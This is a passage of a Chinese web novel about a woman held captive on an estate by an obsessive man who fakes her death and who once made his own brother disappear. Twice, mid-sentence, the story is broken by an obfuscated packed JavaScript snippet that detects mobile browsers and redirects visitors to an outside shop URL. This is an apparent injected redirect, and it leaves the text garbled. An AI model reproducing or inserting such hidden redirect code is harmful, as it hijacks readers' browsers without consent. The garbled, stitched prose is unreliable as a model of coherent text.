她知道如果要在她眼皮底下逃跑,几乎是不可能的。 好在这间卧室里留了卫生间,燕桐转身走进卫生间,不一会了一阵冲水声响起,她穿着拖鞋走了出来。 窗外亮如白昼,即便燕桐拉上了窗帘,却丝毫没有睡意,她躺在床上辗转反复的想,想到恪守规矩的自己竟然早就跟骆池咒成婚三年,她竟全然不知。 她不知道怎么跟父母交代,传统保守的父母连她晚归烫头都不能接受,如果知道了自己早就已经有了婚史,不知道会怎样的暴跳如雷。 或许是从小的训话,燕桐及其的害怕爸妈对她失望或是露出那种对自己难以置信的眼神。 燕桐从小到大组最擅长的就是压抑自己的需求,她喜欢吃雪糕喝冷饮,可爸妈说身体不健康,从来不让她碰,燕桐为了不让他们为难就假装自己不爱吃。 记得高中那年,青春期懵懂,燕桐对同伴的一个男生动了心,她努力克制却还是忍不住给他写了一封信,谁知那封信男孩没发现,却先被男孩的父母发现。 那对父母还算温和,拿着情书去学校找老师商量这件事,想着换班或者转学妥善安抚这件事,谁知老师刚联系了燕桐的父母。 燕桐清晰的记得,那时的她满脸羞愧的低着头,站在老师办公室,大开间的办公室里有很多老师,包括她暗恋的男孩和她的家长。 而燕桐的家长匆忙冲进门的一刹那,就用那种几乎不可置信的眼神看着燕桐,仿佛这不是他们都女儿,而是做了伤天害理的罪人。 燕桐永远记得那个眼神,他们没有责骂燕桐,甚至没有多看她一眼,妈妈就在所有人以为她情绪稳定的时候。 妈妈就将那封连带着信封的情书一把抓过来,揉成一团塞进了嘴里。 她用力咀嚼,噎的咳嗽反呕,满脸憋红却还是将那情书强行咽了下去。 当时在场的所有人都呆住了,燕桐更是心疼震惊羞愧,彻底无地自容。 那次之后,爸妈并没有责怪她,而是对她这个独生女更加上心,车接车送,妈妈每天凌晨四点起床给她做精致的早餐,爸爸因为为了赚钱供她转去国际学校还摔断了腿。 他们一颗心全挂在燕桐身上,外人看来极致的爱护对燕桐来说却是几乎窒息的捆绑。 她被逼着吃那些并不好吃,却是妈妈天不亮耗费心力做的早餐,满满一桌,她只要剩一口,就是不理解妈妈的辛苦。 爸爸摔断腿,在亲戚邻居眼里,这对父母为女儿付出了一切。 燕桐必须每天按时按点回家,说一句爸妈辛苦了,我这次考的很好,他们的神色才稍稍舒展,转而又是更多的含辛茹苦的抱怨和压力。 燕桐那些年一度觉得自己像个机器人,被爸妈极端的爱死死捆绑,甚至连不相熟的老师都知道她有一对爱极了她的父母。 燕桐却一度想过轻生,可她怕,她愧疚到骨子里,她一想到她死了,爸妈的一切付出都打水漂,街坊邻居会怎么说他们,她们无儿无女,没有盼头又该如何活下去。 燕桐被这些愧疚感紧紧束缚,她被强行推动着懂事听话,努力上进,亦步亦趋的沿着爸妈所期盼的那条路走去。 她无时无刻觉得自己仿佛被一张网紧紧束缚,这种窒息感直到大学才稍稍减弱,那时她很幸运,和从小就认识的初中同学慕司考到了同所大学。 慕司从小就品学兼优,是我们那小地方无人不知的才子。 燕桐也被他身上散发出的平静和温暖所吸引,爸妈知道后竟然离奇的没有反对,还鼓励燕桐和他好好交往。 并帮燕桐规划好了她毕业立刻回来,几年和他结婚,彩礼多少住在离家多近的地方,干什么工作,婚后几年生孩子,生几个最好。 燕桐直到四十岁的人生都被他们用嘴规划完了。 大三那年是燕桐最压抑的时候,她觉得自己像个爸妈造出来的傀儡,一想到她未来的人生早就被设定好了一套严密的路线,她就觉得难以呼吸。 恰巧那时慕司竟和同校的女同学传出了亲密照,燕桐觉得受到了男友的背叛,她从不敢想象慕司这样温润如玉的人会出轨。 可是证据摆在她眼前,就在她还沉浸在失恋的痛苦中没走出来时,爸妈立刻打来电话,逼着她去跟同城市,他们亲戚家的一个体制内的儿子相亲。 燕桐痛苦至极,她没想到爸妈竟毫不在意她的感受,只急切的希望找人填补上慕司在对我未来规划的耽误。 那时正好乖巧的骆池咒出现在燕桐的世界里,他和慕司长的真像啊,几乎是一个模子里刻出来的,他不想慕司那样会提前帮她安排约会的地点,会帮她管理时间,规划学习。 他只是静静的跟着燕桐,像一个可怜的小弟弟,燕桐说什么他只是乖乖点头,燕桐说去哪他就去哪。 燕桐说自己要去烫头发问他敢不敢,他只是轻轻的点头说了句我陪姐姐。 燕桐觉得舒心多了,她带着骆池咒去夜店,去蹦迪喝酒,泡吧夜不归宿,在她跟骆池咒在酒店疯狂情动的时候,她压抑住内心的惊恐骗爸妈说在图书馆学习。 那是她第一次对爸妈撒谎,挂断电话骆池咒像个小狗一样立刻带她的身体冲到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525849|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶峰,那一刻的快乐燕桐此生难忘。 骆池咒身上仿佛有一种蛊,燕桐只要一靠近她就觉得自己可以无所不为,即便他只是安安静静,乖巧的可怜,看起来毫无攻击性。 燕桐依旧觉得哪怕她明天去抢劫杀人放火,骆池咒都会陪着她。 从没有一个人这么无条件的追随她,燕桐只当是一场梦,那段日子她每当情动时都跟骆池咒吐露内心的罪恶。 她说自己不喜欢学习,不喜欢伪装认真的乖乖女,她想起勾引男人,她想去恶毒的扇别人巴掌,想推倒自己的父母,想一把火将一切都点了。 骆池咒只是静静的听着,他流露出兴奋的目光,燕桐直到,他丝毫不觉得她是异类,更不会跟旁人一样觉得她这样极端的心理和她的形象不符。 他只是一言不发,接纳她所有的模样,她渴求欲望,渴求疯狂刺激。 燕桐那时候不懂,在骆池咒眼里,正是这样的自己最是吸引他,因为在燕桐这个乖乖女身上,骆池咒看到了自己的影子。 骆池咒甚至比燕桐更了解她。 他知道她的压抑,知道她多么渴望勇敢的对抗别人的目光,反抗父母的期待,他更知道她有一些勇气,但更多占据她的是一时气意后无尽的怯懦。 她没有勇气冲破,骆池咒却偏要捆着她一起沉沦欲望和放纵,他无比清晰的知道,她想要。 燕桐莫名的想了很久以前的时,她不知不觉躺上了床,迷迷糊糊间闭上了眼睛。 她躺在这场柔软的床上,竟意外的睡的格外的安心,就好心已经在这张床上睡过很多年了。 床铺时温柔的浅粉色,羊绒制作的棉被,就连枕头的形状都是骆池咒精心挑选的,燕桐睡着后,落地窗外明亮的光还时不时的闪烁,打进卧室内。 突然落地窗的窗帘缓缓的合上,将那缕亮光遮在外面,卧室陷入黑暗和寂静,传出燕桐清晰的呼吸声。 卧室紧闭的门被从外缓缓推开,昏暗的光线下映出骆池咒高大而落寞的身影。 他缓缓的走到燕桐窗前坐下,看了一会轻轻伸出手去摸燕桐的脸,修长的手指游走在燕桐的脸颊上。 骆池咒的目光不再偏执疯狂,取而代之的是一种近乎心疼的愧疚。 “姐姐,原谅我,用这种方式对你,我骗自己说是不想你回到那个地狱一般的牢笼,其实只有我自己知道,是我的心早已寄生在你身上,再也离不开你。” “原谅我自私的占有了你,可是姐姐,你有没有想过,你真是是在跟我对抗吗,阻挡你幸福的最大阻碍真的是我吗?往往杀人诛心,毁掉一个人的都是看似温润无害的东西。” “你知道她多像三年前的你吗,那么疯狂毫无底线,可我知道她不是你,她只是你为了发泄痛苦幻化出的一个影子,姐姐,只有我能救你,我会将你拽出那些吃人的教条和枷锁,往后我们可以幸福一辈子。” 骆池咒起身,转身朝外走去。 再等等吧姐姐,过不了多久你就能看清一切,我们就能永远在一起了。 24. 第 24 章 时间不知过了多久,也许是枕头舒适的原因,燕桐竟睡的格外的沉,迷迷糊糊睁开眼的时候,她看到窗帘缝隙里透出的光。 燕桐猛地意识到她是住在骆池咒的庄园里,她猛地坐起身。 她看着那扇紧闭的窗帘,她知道骆池咒昨晚来过了,因为她记得清楚自己睡前并没有拉窗帘。 燕桐顺手想起摸手机看眼时间,却想起手机早就被骆池咒拿走了。 她顿了顿揭开被子下床,穿好拖鞋走到窗边将窗帘一把揭开,瞬间刺眼的朝阳灌满了整个卧室。 燕桐向外看去,庄园内一眼望不到尽头的花海,娇嫩欲滴,青绿的石子扳道满是春天的味道,佣人拿着扫帚在石板上打扫卫生,另一部分拿着水管在浇花坛。 保镖依旧双手背在身后,像石雕一样站在各处。 燕桐向远处眺望,她看着这座看不到尽头的庄园,再一次对骆池咒的身份产生了好奇,如果不是她此刻的处境,她也许会被这份美景和奢华震惊到吧。 燕桐穿着拖鞋往卫生间走去,不一会儿卫生间想起了水声,卫生间的装修以暖色调为主,里面各类洗漱用品,毛巾护肤品一应俱全。 毛巾被整洁的叠放在烘干机上,燕桐手触到的时候,毛巾还散发着热气,燕桐将毛巾覆在脸上,味道一丝淡淡的桂花香。 燕桐猛地将毛巾扯下来,她像是想到了什么,如果她的第二人格在这里生活过三年,那她是不是用过这个毛巾。 可燕桐却又立刻平息了不适,她和她本就是一个人,用来用去都是在她这张脸上,而且这种别墅内的毛巾肯定是一天一清洗。 燕桐看着镜子里光洁的脸,将毛巾挂在了一旁的架子上,她在梳妆台上找了一瓶水乳随意的在脸上涂了一层。 那些昂贵的化妆品,燕桐并没有动。 她走出卫生间时,还在门口的柜子上看到了一身新的黄色长裙,不是睡衣,估计是他也考虑到白天穿着睡衣不方便吧。 短期内燕桐直到自己走不了,她无奈拿起裙子去卫生间换上了。 燕桐穿着裙子出来时,那套裙子格外的合身,仿佛时贴身裁量定制的,不过燕桐也并不惊讶,对于骆池咒做的那些事,知道她的衣服尺码太不足为奇。 燕桐收拾好后再次试探性的去拉卧室的门,这次竟毫无阻碍的推开了,门被应声推开的瞬间,骆池咒就静静的站在门口。 他穿着一身黑色的毛衣,中长发遮住眸子,眼神晦暗却藏不住眼里的温柔,只是眼下的乌青却说明了他昨晚并没有睡好。 燕桐开门的时候,他只是静静站在门口,既没有任何惊讶也没有抬手敲门的动作,燕桐不难以为,他在这站了很久。 虽然过了一夜,燕桐的情绪已经平稳了很多,甚至想起了很久以前的事,但对于此刻的骆池咒她依旧做不到给好脸色。 燕桐冷冷的仰头看着他:“什么时候放我走?” 骆池咒直接回避了这句话,他挤出一个疲惫又温柔的笑,轻轻拉起燕桐的手:“姐姐,饿不饿,早餐已经做好了,我们去吃吧。” 燕桐本想立刻甩开他的手,却触及到他冰凉的像石头一样的掌心,竟鬼使神差的被他拉着。 骆池咒亲昵的牵着燕桐一路下楼,一路看到的佣人都识趣的低下了头,专注于手底下的活。 别墅的早晨采光格外的好,燕桐视线扫过墙上的钟表,此刻才不过七点不到,燕桐一向起早睡早起,作息非常规律。 和骆池咒合租的时候,他是知道的,此刻满满一桌子早餐,已经飘香,燕桐看着骆池咒的脸看不出任何情绪,但她隐约能察觉,他们平常吃早餐时间不可能是七点。 因为此时太阳才刚刚升起,偌大的客厅里还笼罩着朝阳的红光。 燕桐被骆池咒牵着做到餐厅的座位上,女佣在不远处忙碌,骆池咒俯身开始帮燕桐摆碗筷,桌上满满一桌,小笼包南瓜粥,油条豆浆豆腐脑,都是燕桐平常吃的。 他几乎是将半个早餐店的菜品搬过来了,就连白粥都是一稀一稠,燕桐看着他忙碌的动作,眼神复杂。 骆池咒却像是没感受到她的目光,只是一个劲的将所有吃的往燕桐跟前摆。 “姐姐,快吃吧,一会就凉了。” 摆好后他像是怕吓到燕桐,坐在与她隔了一个座位的地方,端起一杯豆浆喝了起来。 燕桐本想开口在说些什么,可她能说什么呢,让他放自己走,还是继续像昨天一样怒骂他,又或是感谢他为自己准备这些,说句谢谢,可是她如今的境地都是他造成的。 燕桐想来想去,无话可说,只能低头开始喝粥。 香甜的粥触及唇边的瞬间,七分烫刚刚好。 整个早餐过程两人都没说一句话,骆池咒时不时的抬头看一眼燕桐,而燕桐始终埋着头,只是目光有意无意的瞥向门口。 骆池咒当然知道她的心思,但却没说什么,只是在燕桐吃完饭后,默默起身开始收拾餐桌,一如从前在合租房一样。 燕桐呆呆的坐在餐桌上,看着他的背影问:“把我手机还给我。” 骆池咒端着盘子的身影一顿,沉默了良久挤出一句话:“手机我先帮你收着,整座庄园你哪里都可以去,除了逃跑。” 燕桐不甘的追问:“我父母联系不到我,一定会报警的,你也不想把事情闹大吧。” 骆池咒将碗碟放进洗碗机,按下按钮,转身回来擦餐桌,他拿着纸巾一边收拾餐桌,一边弯腰说: “你父母那边,我已经联系好了,你不用担心。” 燕桐诧异,追问:“你怎么安顿的?” 以她对父母的了解,他们绝不是那种能被普通的外派,出差封闭性训练蒙蔽过去的人,不亲眼看到自己说绝对不会相信,燕桐想不到任何让他们接受自己女儿平白消失的办法。 骆池咒将擦干水渍的纸巾扔进垃圾桶,缓缓起身,用一种像是闲聊的口气说出了一句让燕桐震惊的话。 “我策划了一场车祸,此刻的你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525850|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们心里已经是个死人了。” 燕桐瞪大眼睛:“你说什么?!” 骆池咒回身对上她的眼睛,目光是从未有过的平静:“或许此刻,他们已经在替你办葬礼了。” 他的平静彻底让燕桐愣住,燕桐本以为骗婚囚禁已经是他能做到的最疯狂的事,却不想她还是低估了他的疯。 骆池咒压抑着自己近乎颤抖的双手,只是静静的看着近乎崩溃的燕桐。 燕桐的眼神由错愕变为恐惧,又在瞬间转为愤怒,狠狠的瞪了骆池咒一眼,她拼尽全力转身冲向大门。 她拼了命的跑,失去理智,却在刚踏出门的瞬间,被门口的两人身形高大的保镖拦住,他们死死挡在大门前,严丝合缝的堵住燕桐逃跑的路。 “滚开!”燕桐哭喊着用力推搡他们,他们却纹丝不动,甚至表情都毫无变化。 “放我出去,放我出去”燕桐的声音越来越小,捶打的力气也小了下来,“放我出去……” 不知用力推了多久,燕桐靠着门缓缓的滑了下去,眼角还挂着泪水,她手肘因为用力的捶打已经一片红肿,浑身脱离的跌坐在地上。 骆池咒的目光始终落在她身上,看到燕桐终于失去了挣扎的力气,他抬步一步步的走来,缓缓俯身将燕桐抱了起来。 温热的唇稳在她额头,他抱着燕桐朝着卧室走去。 “放我走,别逼我恨你!”燕桐眼眶发红,眼角还带着泪痕,死死的盯着他。 骆池咒却仿佛没听到般,只是抱着她走上楼梯,踢开门走进卧室:“恨我吧,我这个自私狠毒的人,你恨我就对了。” 他俯身将燕桐放在床上,轻柔的帮她脱掉鞋子,而后盖上被子,让她靠坐在床上。 “但你记住,我死也不会放你走。” “姐姐累了,睡吧,我就在这陪着你。”骆池咒这次并没有离开,而是搬来椅子静静的坐在床边,也没有再握住燕桐的手。 燕桐用充满恨意的眼神盯着他:“你凭什么这么对我?” “你的那对父母不配照顾你,只有我才能保护好你,让你一生安乐幸福。” “你怎么可以把卑鄙说的这么冠冕堂皇,你剥夺了我决定人生的权利。” 骆池咒的眼里闪过落寞,但被他瞬间压下:“就当是吧,但不管你说什么,我都不会放你走,也不会改变已经做出的事。” 燕桐见与他争执无用,她眼神飘忽看向屋内的摆设,像是在寻找什么。 骆池咒只一眼就看透了她的意图:“这间房间,甚至整栋别墅,所有尖锐的利器,药物,能让你拿来威胁我的东西我都收起来了,姐姐别白费力气了。” “你了解我的,想要什么会如何的穷极所有手段,只要你乖乖的待着,我可以答应你任何事。” “我恨你!”燕桐狠狠一巴掌打在他脸上。 瞬间鲜红的巴掌印在他脸上蔓延开,骆池咒偏头舌尖顶起腮帮子,沉默良久:“只要姐姐解气,打多少都可以。” 25. 第 25 章 “出去。”燕桐转身背对他躺下,不再面对他。 “不走。”骆池咒固执的坐在床边。 燕桐直到自己赶不走他,闭上眼睛不再说话。 时间就这样一分一秒的过去,偌大的屋子里只有钟表的滴答声,燕桐闭着眼睛,呼吸都轻的听不到,骆池咒不知道她睡着了吗。 他也不开口,只是静静的坐着,不知坐了多久,感觉后背已经僵住了,他抬头看了眼时间,中午了,立刻起身去准备午饭。 可是在他忙碌了一上午后,燕桐始终躺在床上,像一巨木偶一样,任他如何呼唤都不出来。 骆池咒看着满桌的菜肴,渐渐有些压不住内心的狂躁,他看着卧室那扇紧闭的门,真相立刻冲进去将燕桐强行抱出来,然后逼着她吃。 他甚至想过用她的家人威胁她,或者更卑鄙的手段,他知道这段关系早已是畸形的了,所以也没什么好顾忌的。 但他仍旧有一丝惧怕,他怕逼燕桐太紧,她真的会做出什么事来。 但他真的太爱她了,只有她被自己控制在触手可及的范围内,他才稍稍安心。 骆池咒等了许久,不见燕桐出来,只好默默将饭菜收拾了温在锅里,准备傍晚时再端去喂她吃。 就在他收拾餐桌的时候,电话铃突然想起,是他派去处理燕桐假死车祸的人。 骆池咒眼神一暗,接起了电话。 “怎么了?” “有一个叫慕司去了那具替身遗体的火化场,还去了医院追查车祸的详细情况,似乎不相信燕小姐的假死。” 骆池咒眼神愈发冰冷:“查出什么了吗?” “暂时还没有,我按照您的吩咐买通了所有的人,支付了巨额封口费,目前两边都没有露出马脚。” “盯紧他,再有什么动作立刻跟我汇报。” “是。”电话被挂断。 骆池咒比谁都清楚,这样的事情即便做的再周密,只要一心想查,总能撕破口子。 他只是没想到,这样逼真的假死连她的父母都瞒过去了,他却死死抓着不肯放手。 骆池咒似乎是想起了一些过往,他收拾盘子的手重了些,转头看到墙上的日历,三月二十四号,这是他父母的两人的忌日。 骆池咒走到客厅,看着那张摆在书架上的全家福,他眼里闪过一丝怨恨,全家福上一共有四个人,两个小孩站在前面,一堆父母站在身后,他们打扮精致,像是夏天拍的。 妈妈穿着紫色的旗袍,梳着古典的发鬓,只是简单的一个站立姿势就尽显优雅,而俯身身穿黑色西装,发行一丝不苟,他们两人的手搭在两个小男孩身上。 不知为何,其中一个男孩的脸被人扣走了,像是用指甲从中间硬生生撕去,只留下另一个淡淡笑着的男孩,而他的眉目一看就是骆池咒。 骆池咒看着那张照片,暗暗出神,良久他转身去换衣服,换衣间想起了一阵窸窣的声音,骆池咒穿着一身白色西装出来,走到卧室门口。 “姐姐,我今晚有点事,需要出去一下,晚上回来陪你。”骆池咒像是刻意忽略掉燕桐的愤怒和痛苦,像是寻常夫妻般交代行程。 燕桐依旧没有任何动静,骆池咒打开手机,看了眼卧室的监控,监控中燕桐正静静的躺在床上,睁着眼睛,不知道在想什么。 骆池咒再次再见后,就拿起车钥匙转身离开了,临走前他再三交代家里的管家和保镖看好燕桐。 骆池咒离开后,整个庄园彻底陷入了寂静。 就连平常来来往往干活的女佣都好像消失了,燕桐一个人在床上躺了良久,才缓缓起身,她径直朝着门外走去。 管家本想上前阻止,但想起以前先生说过,夫人可以在庄园内活动,也就压下了脚步,他只是静静的跟在离燕桐很远的距离,但保持着随时能看到她的位置。 其实燕桐根本不是想跑,她只道凭自己根本跑不出去,就算跑出去,还是会被抓回来。 她也知道身后有人跟着自己,燕桐漫无目的的在花园里走,许是没有吃饭,她的脸色有些憔悴。 她不知不觉走到了一处空旷的庭院,像是在后院,放眼望去是极大的一片绿地,绿地两侧是两棵很高的柳树,枝叶繁盛,柳条随着微风轻轻摆动。 燕桐缓缓走进,可走到树根附近的时候,像是踩到了什么硬物,她缓缓蹲下身子查看。 只见地上只露出很小的一角红木箱子,燕桐用手抛开表面的青草,在旁边找了根树枝戳开四周的泥土,将那个小箱子抱了出来。 那个箱子并不大,看着有一本新华字典的大小和厚度,燕桐看着木箱表面的纹理,木屑推满的死角,箱子底部满是黑青色的死皮。 一把小小的金锁挂在上面,上面满是腐蚀的铁锈,看着箱子得有十几个年头了。 燕桐转身看着这片旷地,四周的草看着并不想精心养护的,也不像经常有人来,看着像是被荒废的地方。 许是春季连绵的雨水,将这棵柳树的根部冲低了不少,地面也随着下沉,这个被埋在土里的小箱子才得以露出一角。 燕桐抱着箱子,突然有些后悔将他挖出来,一般来说这种东西要么是很珍贵的东西,要么就是见不得人但不好销毁的东西,不管哪一种,她都不适合看。 燕桐想了想,又转身弯腰准备将这箱子重新埋回去,可谁知这箱子以腐朽成这种样子,燕桐只是轻轻一般,那木头迅速调落成一块块,连同里面的东西也瞬间摔了出来。 那是一本泛黄的厚本日记,和一些小物件,虽然褪色严重但隐约还能看出是五颜六色的。 有小风筝,还有蝴蝶标本,小型的风扇,还有一朵玻璃制成的小红花。 燕桐将东西捡起来,本想装进箱子里,但奈何箱子早已碎成一块块,她无奈只能用手拘着,拿起那本日记夹在胳膊里,准备拿回房间在找个东西装起来。 这些小玩意都是小孩的玩具,燕桐猜测应该是骆池咒小时候 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五月二十六日,今天哥哥踩死了我送他的蝎子,而妈妈却只批评我,妈妈偏心,我讨厌她。 五月二十八日,今天幼儿园老师说我孤僻,孤僻是什么意思,但我猜那不是好词,我讨厌老师,因为他说没有老师不喜欢爱笑的哥哥 一连后面的半年,他每天日记的结尾都是我讨厌谁。 一直往后翻,他后面的讨厌逐渐变成了恨。 他写的恨字从歪扭到越来越清晰端正,直到燕桐翻到最后一页,看到他写着最简单的一句话。 我让哥哥消失了,我开心。 明明是模糊的字迹,稚嫩的笔锋,这句话却让燕桐脊背发凉,直到他从日记本后的夹层翻出一张褪色的照片,看到了他们兄弟两的合照,燕桐瞬间呆住。 因为那张照片上的另一个男孩竟然是七岁的慕司。 燕桐从小学就跟慕司一个班,她比谁都了解他的长相,也就是说,慕司是他的父母领养的,怪不得她时常觉得慕司和他父母的长相都不像。 他对自己七岁以前的记忆也闭口不谈,邻居都没人见过他七岁前的模样,就连他父母也掩护说七岁钱一直长在乡下外婆家。 怪不得骆池咒和慕司长的这么像,燕桐几乎不敢相信。 正当她看的眉头紧皱,精神紧绷时,骆池咒冷冷的声音从身后响起:“姐姐,你在看什么呢。” 燕桐猛地转身,骆池咒明明笑着,她却猛地往后连退数步,手里还握着那个日记本,她下意识藏到了身后。 骆池咒一眼就看到了她手里的东西,眼里也闪过一瞬见的诧异,他没有着急去要,而是低头视线扫过桌上的小物件。 他似乎陷入了回忆,很显然他也早已遗忘了这些东西,毕竟是很小的时候埋下的。 燕桐不可置信的问他:“你早就知道你和慕司是亲兄弟?” 26. 第 26 章 骆池咒笑了笑,走到桌边,拿起那个玻璃小红花,指尖冰凉:“知道啊,从一开始就知道。” 燕桐脸色瞬间惨白:“所以日记里写的,你小时候故意把他引出去,然后弄丢的?他是你哥哥啊!” “哥哥?”骆池咒嗤笑一声,“我没有哥哥。当年爸妈偏疼他,把我视为异类毒虫的时候,怎么没想过我是他们的儿子?他占了我的家,占了爸妈的宠爱,现在还想占你,凭什么?” “那不是慕司的错!当年的事,跟他没关系啊!”燕桐急得快哭了,“你放过他,也放过我,我以后再也不找他了,我就在这里待着,行不行?” “不行。”骆池咒语气平淡,却带着不容拒绝的偏执。 “姐姐,你知道吗,他又在找你,他不信你是假死,三番两次的破坏我做的局,小时候是这样,现在也是,你说我还能留着他吗?” “不过你放心,我暂时不碰他,我留着他,就是要让他看着,当年爸爸妈妈是我的,现在你也是我的。他不是喜欢找你吗?我就让他眼睁睁看着,他什么都做不了。” 燕桐浑身发抖,看着眼前的骆池咒,第一次觉得他比自己想象中更可怕。他脸上的笑,像一层面具,底下全是狠毒和偏执。 “你太残忍了。”她小声说,眼泪掉了下来。 骆池咒走过去,想擦她的眼泪,燕桐猛地躲开。他的手僵在半空,笑容淡了些,语气却依旧温和:“姐姐,别哭,我没伤害你,也没打算真的杀了他。只要你乖乖听话,我就不会为难他。” “别碰我。”燕桐往后退,后背撞到了墙壁,“你连自己的亲哥哥都能下手,还有什么做不出来的?” “我对别人狠,对你不会。”骆池咒上前一步,逼近她,周身的阴冷气息裹住她,“我只是不想失去你,从看到你的第一眼,我就知道,你必须是我的。慕司能给你的,我都能给你,甚至更多,你为什么就不能看着我?” 燕桐咬着嘴唇,不敢说话。她知道,跟骆池咒讲道理没用,他的偏执已经深入骨髓。 这时,管家拿着箱子过来,看到屋里的气氛,脚步顿了顿,不敢进门。 骆池咒转头,语气恢复了平静:“把箱子放下,出去。” 管家连忙放下箱子,快步退了出去,还轻轻带上了门。 “把日记给我。”骆池咒看向燕桐,语气依旧温和,却带着压迫感。 燕桐攥着日记,没动。 骆池咒没逼她,只是笑着说:“不给也没关系,反正你也跑不了。不过姐姐,我提醒你一句,别想着用日记做什么,也别想着找机会跑。庄园里的佣人、管家,都是我信得过的人,你跑一步,我就对慕司多下手一分。” 燕桐的心一沉,她知道,骆池咒说到做到。她看着骆池咒的眼睛,里面没有丝毫玩笑的意味,只有绝对的占有欲。 “我不跑,你别伤害慕司。”她小声妥协,慢慢把日记递了过去。 骆池咒接过日记,翻了几页,眼神暗了暗,随手放在桌上:“这都是小时候的事了,以后别再翻了。” 他拿起桌上的小风筝,看了片刻,又放下:“这些东西,你想留着就留着,不想留,就让佣人拿走。” 燕桐没说话,低着头,心里却在盘算。 骆池咒看着她的样子,心里清楚她没放弃逃跑的念头,却没点破。他走到她身边,轻轻拍了拍她的肩膀:“饿了吧?我让厨房把饭菜热一下,陪我吃点。” 燕桐没拒绝,她知道,只有吃饱了,才有力气想办法。她抬起头,看着骆池咒的笑容,她一定要逃出去,彻底摆脱他。 骆池咒看着她点头,眼里闪过一丝满意。他知道,燕桐现在很怕他,但没关系,只要把她困在身边,久而久之,她总会习惯的。他有的是时间,等她心甘情愿留在自己身边。 晚饭时,两人没怎么说话。燕桐小口吃着饭,脑子里全是逃跑的念头。骆池咒时不时给她夹菜,眼神一直落在她身上,像盯着猎物的毒蛇,表面平静,实则时刻警惕着她的一举一动。 吃完饭后,骆池咒没走,坐在客厅的沙发上,翻着那本旧日记。燕桐回到房间,关上门,背靠着门板,大口喘着气。她的手还在发抖,一想到骆池咒对慕司做的事,就浑身发冷。 她走到窗边,看着外面漆黑的庄园,佣人在巡逻,管家站在楼下的走廊里,戒备森严。逃跑的难度很大,但她不能放弃。 这时,门外传来脚步声,是骆池咒。燕桐立刻走到床边坐下,装作平静的样子。 骆池咒推开门走进来,手里拿着那本日记:“姐姐,今晚我陪你睡。” 燕桐心里一紧,连忙说:“不用,我自己睡就行。” “不行。”骆池咒走到床边坐下,笑容依旧温和,“我怕你夜里想不开,也怕你偷偷跑了。陪着你,我才放心。” 燕桐知道,自己拒绝不了。她默默躺下,背对着骆池咒,浑身僵硬。身边的阴冷气息越来越浓,她能感觉到骆池咒的目光落在她的背上,像针一样,让她浑身不自在。 她闭着眼睛,脑子里反复回想庄园的布局,回想佣人巡逻的时间,试图找到一丝逃跑的破绽。骆池咒没说话,就静静躺着,呼吸轻得几乎没有——他是鬼,本就不需要呼吸。 夜色渐深,庄园里的灯光渐渐熄灭,只剩下走廊里的壁灯,映出长长的影子。燕桐睁着眼睛,毫无睡意,心里只有一个念头:一定要跑出去,一定要救慕司。而她不知道的是,骆池咒根本没睡,他看着她的背影,眼底满是偏执的占有欲,像毒蛇一样,紧紧缠绕着她,不给她一丝逃脱的机会。 那一夜,燕桐熬到了天亮。骆池咒天不亮就起身,说是要去处理慕司的事,临走前反复叮嘱佣人,寸步不离地看着燕桐,不许她靠近庄园大门半步。 佣人恭敬地应下,骆池咒又走到床边,轻轻摸了摸燕桐的头发,笑容温和:“姐姐,乖乖在家等我回来,我给你带好吃的。” 燕桐没睁眼,也没应声,装作还在睡觉的样子。直到听到骆池咒的脚步声远去,庄园大门关闭的声音传来,她才缓缓睁开眼睛,眼底闪过一丝决绝。 她知道,骆池咒虽然走了,但佣人看得紧,硬闯肯定不行。她起身,假装去卫生间,趁机观察房间里的东西,想找一件能防身、能制造混乱的工具。房间里很整洁,除了家具,只有一些简单的装饰品,没有任何尖锐的东西。 燕桐不死心,又翻了翻床头柜,里面只有几本闲书和一个水杯。她皱了皱眉,目光落在梳妆台上——那里放着一个小巧的水果刀,是昨天骆池咒给她削苹果剩下的,他走得急,没来得及收走。 燕桐心里一喜,悄悄走过去,把水果刀攥在手里,冰凉的金属触感让她稍微安定了些。她把刀藏在袖口,然后走出房间,装作若无其事的样子,在客厅里走动。 两个佣人立刻跟了上来,不远不近地跟着她,眼神警惕。燕桐没在意,故意走到窗边,假装看风景,实则观察佣人巡逻的路线和换班时间。她发现,庄园里的佣人每半小时换一次班,换班的时候,门口会有一分钟左右的空档,而且后院的围墙比前院矮一些,旁边还有一棵老槐树,顺着树干应该能爬上去。 她心里默默记下来,然后回到沙发上坐下,假装发呆,脑子里反复演练逃跑的路线和步骤。她知道,这是她唯一的机会,一旦失败,不仅自己再也逃不出去,慕司也会有危险。 中午,佣人送来午饭,燕桐没怎么吃,只是象征性地动了动筷子。她要保存体力,等着晚上的机会——夜里光线暗,更容易隐藏行踪,而且骆池咒大概率不会回来得太早。 整个下午,燕桐都安安静静地待在客厅,偶尔喝口水,偶尔翻看书,表现得十分顺从,渐渐让跟着她的佣人放松了警惕。到了傍晚,换班的佣人越来越频繁,庄园里的灯光陆续亮起,燕桐知道,时机快到了。 她借口回房间拿衣服,回到卧室后,立刻把藏在袖口的水果刀拿出来,握在手里,手心全是汗。她走到窗边,看着外面的天色一点点变黑,佣人换班的时间越来越近,心脏跳得越来越快。 